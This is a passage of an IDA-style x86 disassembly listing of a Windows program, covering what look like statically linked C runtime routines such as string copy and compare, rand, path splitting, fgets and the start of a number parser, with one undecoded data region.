mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
jmp short loc_41D792
; ---------------------------------------------------------------------------
loc_41D789: ; CODE XREF: sub_41D6B0:loc_41D7D7j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_41D792: ; CODE XREF: sub_41D6B0+D7j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_41D7D9
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
sar edx, 3
xor eax, eax
mov al, [ebp+edx+var_2C]
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, edx
and ecx, 7
mov edx, 1
shl edx, cl
and eax, edx
test eax, eax
jz short loc_41D7D7
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_41D7D9
; ---------------------------------------------------------------------------
loc_41D7D7: ; CODE XREF: sub_41D6B0+114j
jmp short loc_41D789
; ---------------------------------------------------------------------------
loc_41D7D9: ; CODE XREF: sub_41D6B0+EBj
; sub_41D6B0+125j
mov edx, [ebp+var_8]
mov eax, [ebp+var_4]
mov [edx+18h], eax
mov ecx, [ebp+arg_0]
cmp ecx, [ebp+var_4]
jnz short loc_41D7EE
xor eax, eax
jmp short loc_41D7F1
; ---------------------------------------------------------------------------
loc_41D7EE: ; CODE XREF: sub_41D6B0+138j
mov eax, [ebp+arg_0]
loc_41D7F1: ; CODE XREF: sub_41D6B0+13Cj
mov esp, ebp
pop ebp
retn
sub_41D6B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D800 proc near ; CODE XREF: seg000:0040248Ep
; sub_402D46+98p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41D883
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41D824
shr ecx, 2
jnz short loc_41D891
jmp short loc_41D845
; ---------------------------------------------------------------------------
loc_41D824: ; CODE XREF: sub_41D800+1Bj
; sub_41D800+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41D852
test al, al
jz short loc_41D85A
test esi, 3
jnz short loc_41D824
mov ebx, ecx
shr ecx, 2
jnz short loc_41D891
loc_41D840: ; CODE XREF: sub_41D800+8Fj
and ebx, 3
jz short loc_41D852
loc_41D845: ; CODE XREF: sub_41D800+22j
; sub_41D800+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41D87E
dec ebx
jnz short loc_41D845
loc_41D852: ; CODE XREF: sub_41D800+2Bj
; sub_41D800+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41D85A: ; CODE XREF: sub_41D800+2Fj
test edi, 3
jz short loc_41D874
loc_41D862: ; CODE XREF: sub_41D800+72j
mov [edi], al
inc edi
dec ecx
jz loc_41D8F6
test edi, 3
jnz short loc_41D862
loc_41D874: ; CODE XREF: sub_41D800+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41D8E7
loc_41D87B: ; CODE XREF: sub_41D800+7Fj
; sub_41D800+F4j
mov [edi], al
inc edi
loc_41D87E: ; CODE XREF: sub_41D800+4Dj
dec ebx
jnz short loc_41D87B
pop ebx
pop esi
loc_41D883: ; CODE XREF: sub_41D800+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41D889: ; CODE XREF: sub_41D800+A9j
; sub_41D800+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41D840
loc_41D891: ; CODE XREF: sub_41D800+20j
; sub_41D800+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41D889
test dl, dl
jz short loc_41D8DB
test dh, dh
jz short loc_41D8D1
test edx, 0FF0000h
jz short loc_41D8C7
test edx, 0FF000000h
jnz short loc_41D889
mov [edi], edx
jmp short loc_41D8DF
; ---------------------------------------------------------------------------
loc_41D8C7: ; CODE XREF: sub_41D800+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41D8DF
; ---------------------------------------------------------------------------
loc_41D8D1: ; CODE XREF: sub_41D800+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41D8DF
; ---------------------------------------------------------------------------
loc_41D8DB: ; CODE XREF: sub_41D800+ADj
xor edx, edx
mov [edi], edx
loc_41D8DF: ; CODE XREF: sub_41D800+C5j
; sub_41D800+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41D8F1
loc_41D8E7: ; CODE XREF: sub_41D800+79j
xor eax, eax
loc_41D8E9: ; CODE XREF: sub_41D800+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41D8E9
loc_41D8F1: ; CODE XREF: sub_41D800+E5j
and ebx, 3
jnz short loc_41D87B
loc_41D8F6: ; CODE XREF: sub_41D800+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41D800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D900 proc near ; CODE XREF: seg000:0040247Ap
; seg000:004031CBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41D94C
loc_41D910: ; CODE XREF: sub_41D900+3Cj
; sub_41D900+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41D944
or al, al
jz short loc_41D940
cmp ah, [ecx+1]
jnz short loc_41D944
or ah, ah
jz short loc_41D940
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41D944
or al, al
jz short loc_41D940
cmp ah, [ecx+3]
jnz short loc_41D944
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41D910
mov edi, edi
loc_41D940: ; CODE XREF: sub_41D900+18j
; sub_41D900+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41D944: ; CODE XREF: sub_41D900+14j
; sub_41D900+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41D94C: ; CODE XREF: sub_41D900+Ej
test edx, 1
jz short loc_41D968
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41D944
inc ecx
or al, al
jz short loc_41D940
test edx, 2
jz short loc_41D910
loc_41D968: ; CODE XREF: sub_41D900+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41D944
or al, al
jz short loc_41D940
cmp ah, [ecx+1]
jnz short loc_41D944
or ah, ah
jz short loc_41D940
add ecx, 2
jmp short loc_41D910
sub_41D900 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D990 proc near ; CODE XREF: seg000:00420C02p
push ebp
mov ebp, esp
cmp ds:off_44FCFC, 0
jz short loc_41D9A2
call ds:off_44FCFC
loc_41D9A2: ; CODE XREF: sub_41D990+Aj
push offset dword_43C02C
push offset dword_43C018
call sub_41DB60
add esp, 8
push offset dword_43C014
push offset dword_43C000
call sub_41DB60
add esp, 8
pop ebp
retn
sub_41D990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D9D0 proc near ; CODE XREF: seg000:00420C5Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 0
mov eax, [ebp+arg_0]
push eax
call loc_41DA50
add esp, 0Ch
pop ebp
retn
sub_41D9D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D9F0 proc near ; CODE XREF: seg000:00420C84p
; sub_420CA0+22p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 1
mov eax, [ebp+arg_0]
push eax
call loc_41DA50
add esp, 0Ch
pop ebp
retn
sub_41D9F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 0
push 0
call loc_41DA50
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 1
push 0
call loc_41DA50
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
loc_41DA50: ; CODE XREF: sub_41D9D0+Bp
; sub_41D9F0+Bp ...
push ebp
mov ebp, esp
push ecx
call sub_41DB40
cmp ds:dword_4EE9A8, 1
jnz short near ptr loc_41DA6F+4
mov eax, [ebp+8]
push eax
call near ptr 3D0000h
mov byte ptr [eax-18h], 8Eh
loc_41DA6F: ; CODE XREF: seg000:0041DA60j
and eax, 0C7CCFFFBh
add eax, offset dword_4EE9A4
add [eax], eax
; ---------------------------------------------------------------------------
db 0
dd 104D8A00h, 0E9A00D88h, 7D83004Eh, 4775000Ch, 903D83h
dd 7400004Fh, 8C158B2Ch, 89004F00h, 458BFC55h, 4E883FCh
dd 8BFC4589h, 0D3BFC4Dh, 4F0090h, 558B0F72h, 3A83FCh, 458B0574h
dd 0EB10FFFCh, 0C03868DDh, 30680043h, 0E80043C0h, 90h
dd 6808C483h, 43C044h, 43C03C68h, 7EE800h, 0C4830000h
dd 0AC3D8308h, 4EE9h, 0FF6A2075h, 0FFE87BE8h, 4C483FFh
dd 8520E083h, 0C70F74C0h, 4EE9AC05h, 100h, 0F172E800h
dd 7D83FFFFh, 7740010h, 37E8h, 0C714EB00h, 4EE9A805h, 100h
dd 84D8B00h, 0F815FF51h, 8B004F12h, 0CCC35DE5h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB40 proc near ; CODE XREF: seg000:0041DA54p
; sub_41FDB0+4p
push ebp
mov ebp, esp
push 0Dh
call sub_421A80
add esp, 4
pop ebp
retn
sub_41DB40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB50 proc near ; CODE XREF: sub_41FDB0+61p
; sub_41FDB0+A7p
push ebp
mov ebp, esp
push 0Dh
call sub_421B20
add esp, 4
pop ebp
retn
sub_41DB50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB60 proc near ; CODE XREF: sub_41D990+1Cp
; sub_41D990+2Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
loc_41DB63: ; CODE XREF: sub_41DB60+21j
mov eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb short loc_41DB83
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0
jz short loc_41DB78
mov edx, [ebp+arg_0]
call dword ptr [edx]
loc_41DB78: ; CODE XREF: sub_41DB60+11j
mov eax, [ebp+arg_0]
add eax, 4
mov [ebp+arg_0], eax
jmp short loc_41DB63
; ---------------------------------------------------------------------------
loc_41DB83: ; CODE XREF: sub_41DB60+9j
pop ebp
retn
sub_41DB60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB90 proc near ; CODE XREF: seg000:00402755p
; seg000:004054B7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
call sub_425C30
mov ecx, [ebp+arg_0]
mov [eax+14h], ecx
pop ebp
retn
sub_41DB90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DBA0 proc near ; CODE XREF: seg000:loc_403B0Dp
; seg000:004054BDp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_425C30
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
imul ecx, 343FDh
add ecx, 269EC3h
mov edx, [ebp+var_4]
mov [edx+14h], ecx
mov eax, [ebp+var_4]
mov eax, [eax+14h]
shr eax, 10h
and eax, 7FFFh
mov esp, ebp
pop ebp
retn
sub_41DBA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DBE0 proc near ; CODE XREF: seg000:004030B2p
; seg000:00403262p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41DC5A
mov dh, [ecx+1]
test dh, dh
jz short loc_41DC47
loc_41DBF8: ; CODE XREF: sub_41DBE0+52j
; sub_41DBE0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41DC1A
test al, al
jz short loc_41DC14
loc_41DC09: ; CODE XREF: sub_41DBE0+32j
mov al, [esi]
inc esi
loc_41DC0C: ; CODE XREF: sub_41DBE0+3Fj
cmp al, dl
jz short loc_41DC1A
test al, al
jnz short loc_41DC09
loc_41DC14: ; CODE XREF: sub_41DBE0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41DC1A: ; CODE XREF: sub_41DBE0+23j
; sub_41DBE0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41DC0C
lea edi, [esi-1]
loc_41DC24: ; CODE XREF: sub_41DBE0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41DC53
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41DBF8
mov al, [ecx+3]
test al, al
jz short loc_41DC53
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41DC24
jmp short loc_41DBF8
; ---------------------------------------------------------------------------
loc_41DC47: ; CODE XREF: sub_41DBE0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41E656
; ---------------------------------------------------------------------------
loc_41DC53: ; CODE XREF: sub_41DBE0+49j
; sub_41DBE0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41DC5A: ; CODE XREF: sub_41DBE0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41DBE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DC60 proc near ; CODE XREF: seg000:004078DCp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
push eax
call sub_41AC70
add esp, 4
cmp eax, 1
jb short loc_41DCBB
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx+1]
cmp edx, 3Ah
jnz short loc_41DCBB
cmp [ebp+arg_4], 0
jz short loc_41DCB0
push 2
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_426610
add esp, 0Ch
mov edx, [ebp+arg_4]
mov byte ptr [edx+2], 0
loc_41DCB0: ; CODE XREF: sub_41DC60+35j
mov eax, [ebp+arg_0]
add eax, 2
mov [ebp+arg_0], eax
jmp short loc_41DCC7
; ---------------------------------------------------------------------------
loc_41DCBB: ; CODE XREF: sub_41DC60+23j
; sub_41DC60+2Fj
cmp [ebp+arg_4], 0
jz short loc_41DCC7
mov ecx, [ebp+arg_4]
mov byte ptr [ecx], 0
loc_41DCC7: ; CODE XREF: sub_41DC60+59j
; sub_41DC60+5Fj
mov [ebp+var_C], 0
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
jmp short loc_41DCDF
; ---------------------------------------------------------------------------
loc_41DCD6: ; CODE XREF: sub_41DC60:loc_41DD3Cj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41DCDF: ; CODE XREF: sub_41DC60+74j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41DD3E
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
xor edx, edx
mov dl, ds:byte_4EEF41[ecx]
and edx, 4
test edx, edx
jz short loc_41DD0A
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_41DD3C
; ---------------------------------------------------------------------------
loc_41DD0A: ; CODE XREF: sub_41DC60+9Dj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 2Fh
jz short loc_41DD20
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 5Ch
jnz short loc_41DD2B
loc_41DD20: ; CODE XREF: sub_41DC60+B3j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_C], edx
jmp short loc_41DD3C
; ---------------------------------------------------------------------------
loc_41DD2B: ; CODE XREF: sub_41DC60+BEj
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Eh
jnz short loc_41DD3C
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_41DD3C: ; CODE XREF: sub_41DC60+A8j
; sub_41DC60+C9j ...
jmp short loc_41DCD6
; ---------------------------------------------------------------------------
loc_41DD3E: ; CODE XREF: sub_41DC60+87j
cmp [ebp+var_C], 0
jz short loc_41DD94
cmp [ebp+arg_8], 0
jz short loc_41DD8C
mov eax, [ebp+var_C]
sub eax, [ebp+arg_0]
cmp eax, 0FFh
jnb short loc_41DD62
mov ecx, [ebp+var_C]
sub ecx, [ebp+arg_0]
mov [ebp+var_14], ecx
jmp short loc_41DD69
; ---------------------------------------------------------------------------
loc_41DD62: ; CODE XREF: sub_41DC60+F5j
mov [ebp+var_14], 0FFh
loc_41DD69: ; CODE XREF: sub_41DC60+100j
mov edx, [ebp+var_14]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_426610
add esp, 0Ch
mov eax, [ebp+arg_8]
add eax, [ebp+var_10]
mov byte ptr [eax], 0
loc_41DD8C: ; CODE XREF: sub_41DC60+E8j
mov ecx, [ebp+var_C]
mov [ebp+arg_0], ecx
jmp short loc_41DDA0
; ---------------------------------------------------------------------------
loc_41DD94: ; CODE XREF: sub_41DC60+E2j
cmp [ebp+arg_8], 0
jz short loc_41DDA0
mov edx, [ebp+arg_8]
mov byte ptr [edx], 0
loc_41DDA0: ; CODE XREF: sub_41DC60+132j
; sub_41DC60+138j
cmp [ebp+var_8], 0
jz loc_41DE4A
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_0]
jb loc_41DE4A
cmp [ebp+arg_C], 0
jz short loc_41DDFF
mov ecx, [ebp+var_8]
sub ecx, [ebp+arg_0]
cmp ecx, 0FFh
jnb short loc_41DDD5
mov edx, [ebp+var_8]
sub edx, [ebp+arg_0]
mov [ebp+var_18], edx
jmp short loc_41DDDC
; ---------------------------------------------------------------------------
loc_41DDD5: ; CODE XREF: sub_41DC60+168j
mov [ebp+var_18], 0FFh
loc_41DDDC: ; CODE XREF: sub_41DC60+173j
mov eax, [ebp+var_18]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_C]
push eax
call sub_426610
add esp, 0Ch
mov ecx, [ebp+arg_C]
add ecx, [ebp+var_10]
mov byte ptr [ecx], 0
loc_41DDFF: ; CODE XREF: sub_41DC60+15Aj
cmp [ebp+arg_10], 0
jz short loc_41DE48
mov edx, [ebp+var_4]
sub edx, [ebp+var_8]
cmp edx, 0FFh
jnb short loc_41DE1E
mov eax, [ebp+var_4]
sub eax, [ebp+var_8]
mov [ebp+var_1C], eax
jmp short loc_41DE25
; ---------------------------------------------------------------------------
loc_41DE1E: ; CODE XREF: sub_41DC60+1B1j
mov [ebp+var_1C], 0FFh
loc_41DE25: ; CODE XREF: sub_41DC60+1BCj
mov ecx, [ebp+var_1C]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_10]
push ecx
call sub_426610
add esp, 0Ch
mov edx, [ebp+arg_10]
add edx, [ebp+var_10]
mov byte ptr [edx], 0
loc_41DE48: ; CODE XREF: sub_41DC60+1A3j
jmp short loc_41DE9E
; ---------------------------------------------------------------------------
loc_41DE4A: ; CODE XREF: sub_41DC60+144j
; sub_41DC60+150j
cmp [ebp+arg_C], 0
jz short loc_41DE92
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
cmp eax, 0FFh
jnb short loc_41DE68
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_0]
mov [ebp+var_20], ecx
jmp short loc_41DE6F
; ---------------------------------------------------------------------------
loc_41DE68: ; CODE XREF: sub_41DC60+1FBj
mov [ebp+var_20], 0FFh
loc_41DE6F: ; CODE XREF: sub_41DC60+206j
mov edx, [ebp+var_20]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_426610
add esp, 0Ch
mov eax, [ebp+arg_C]
add eax, [ebp+var_10]
mov byte ptr [eax], 0
loc_41DE92: ; CODE XREF: sub_41DC60+1EEj
cmp [ebp+arg_10], 0
jz short loc_41DE9E
mov ecx, [ebp+arg_10]
mov byte ptr [ecx], 0
loc_41DE9E: ; CODE XREF: sub_41DC60:loc_41DE48j
; sub_41DC60+236j
mov esp, ebp
pop ebp
retn
sub_41DC60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DEB0 proc near ; CODE XREF: sub_402EAE+8p
; seg000:0040302Ep ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41DED0
loc_41DEBC: ; CODE XREF: sub_41DEB0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41DEBC
loc_41DED0: ; CODE XREF: sub_41DEB0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41DEB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DEE0 proc near ; CODE XREF: seg000:00406F30p
; seg000:00406F5Fp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_10], ecx
loc_41DEF5: ; CODE XREF: sub_41DEE0+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41DF19
push offset aStringNull ; "string != NULL"
push 0
push 3Bh
push offset aFgets_c ; "fgets.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41DF19
int 3 ; Trap to Debugger
loc_41DF19: ; CODE XREF: sub_41DEE0+19j
; sub_41DEE0+36j
xor edx, edx
test edx, edx
jnz short loc_41DEF5
loc_41DF1F: ; CODE XREF: sub_41DEE0+67j
cmp [ebp+arg_8], 0
jnz short loc_41DF43
push offset dword_4394FC
push 0
push 3Ch
push offset aFgets_c ; "fgets.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_41DF43
int 3 ; Trap to Debugger
loc_41DF43: ; CODE XREF: sub_41DEE0+43j
; sub_41DEE0+60j
xor eax, eax
test eax, eax
jnz short loc_41DF1F
cmp [ebp+arg_4], 0
jg short loc_41DF56
xor eax, eax
jmp loc_41E017
; ---------------------------------------------------------------------------
loc_41DF56: ; CODE XREF: sub_41DEE0+6Dj
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
push edx
call sub_41F070
add esp, 4
loc_41DF68: ; CODE XREF: sub_41DEE0:loc_41DFFDj
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_4], 0
jz loc_41E002
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_4]
mov [eax+4], edx
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jl short loc_41DFB3
mov edx, [ebp+var_4]
mov eax, [edx]
movsx ecx, byte ptr [eax]
and ecx, 0FFh
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
jmp short loc_41DFC2
; ---------------------------------------------------------------------------
loc_41DFB3: ; CODE XREF: sub_41DEE0+B1j
mov edx, [ebp+var_4]
push edx
call sub_423E50
add esp, 4
mov [ebp+var_14], eax
loc_41DFC2: ; CODE XREF: sub_41DEE0+D1j
mov eax, [ebp+var_14]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_41DFE1
mov ecx, [ebp+var_8]
cmp ecx, [ebp+arg_0]
jnz short loc_41DFDF
mov [ebp+var_10], 0
jmp short loc_41E008
; ---------------------------------------------------------------------------
loc_41DFDF: ; CODE XREF: sub_41DEE0+F4j
jmp short loc_41E002
; ---------------------------------------------------------------------------
loc_41DFE1: ; CODE XREF: sub_41DEE0+ECj
mov edx, [ebp+var_8]
mov al, byte ptr [ebp+var_C]
mov [edx], al
movsx ecx, byte ptr [ebp+var_C]
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
cmp ecx, 0Ah
jnz short loc_41DFFD
jmp short loc_41E002
; ---------------------------------------------------------------------------
loc_41DFFD: ; CODE XREF: sub_41DEE0+119j
jmp loc_41DF68
; ---------------------------------------------------------------------------
loc_41E002: ; CODE XREF: sub_41DEE0+95j
; sub_41DEE0:loc_41DFDFj ...
mov eax, [ebp+var_8]
mov byte ptr [eax], 0
loc_41E008: ; CODE XREF: sub_41DEE0+FDj
mov ecx, [ebp+var_4]
push ecx
call sub_41F0E0
add esp, 4
mov eax, [ebp+var_10]
loc_41E017: ; CODE XREF: sub_41DEE0+71j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41DEE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_41E040
add esp, 10h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E040 proc near ; CODE XREF: seg000:0041E031p
; sub_41E380+11p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov [ebp+var_C], 0
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41E064: ; CODE XREF: sub_41E040+77j
cmp ds:dword_44FD20, 1
jle short loc_41E086
push 8
mov ecx, [ebp+var_8]
and ecx, 0FFh
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_18], eax
jmp short loc_41E0A0
; ---------------------------------------------------------------------------
loc_41E086: ; CODE XREF: sub_41E040+2Bj
mov edx, [ebp+var_8]
and edx, 0FFh
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8
mov [ebp+var_18], ecx
loc_41E0A0: ; CODE XREF: sub_41E040+44j
cmp [ebp+var_18], 0
jz short loc_41E0B9
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_41E064
; ---------------------------------------------------------------------------
loc_41E0B9: ; CODE XREF: sub_41E040+64j
movsx edx, byte ptr [ebp+var_8]
cmp edx, 2Dh
jnz short loc_41E0DD
mov eax, [ebp+arg_C]
or al, 2
mov [ebp+arg_C], eax
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_41E0F7
; ---------------------------------------------------------------------------
loc_41E0DD: ; CODE XREF: sub_41E040+80j
movsx ecx, byte ptr [ebp+var_8]
cmp ecx, 2Bh
jnz short loc_41E0F7
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_41E0F7: ; CODE XREF: sub_41E040+9Bj
; sub_41E040+A4j
cmp [ebp+arg_8], 0
jl short loc_41E109
cmp [ebp+arg_8], 1
jz short loc_41E109
cmp [ebp+arg_8], 24h
jle short loc_41E11E
loc_41E109: ; CODE XREF: sub_41E040+BBj
; sub_41E040+C1j
cmp [ebp+arg_4], 0
jz short loc_41E117
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov [edx], eax
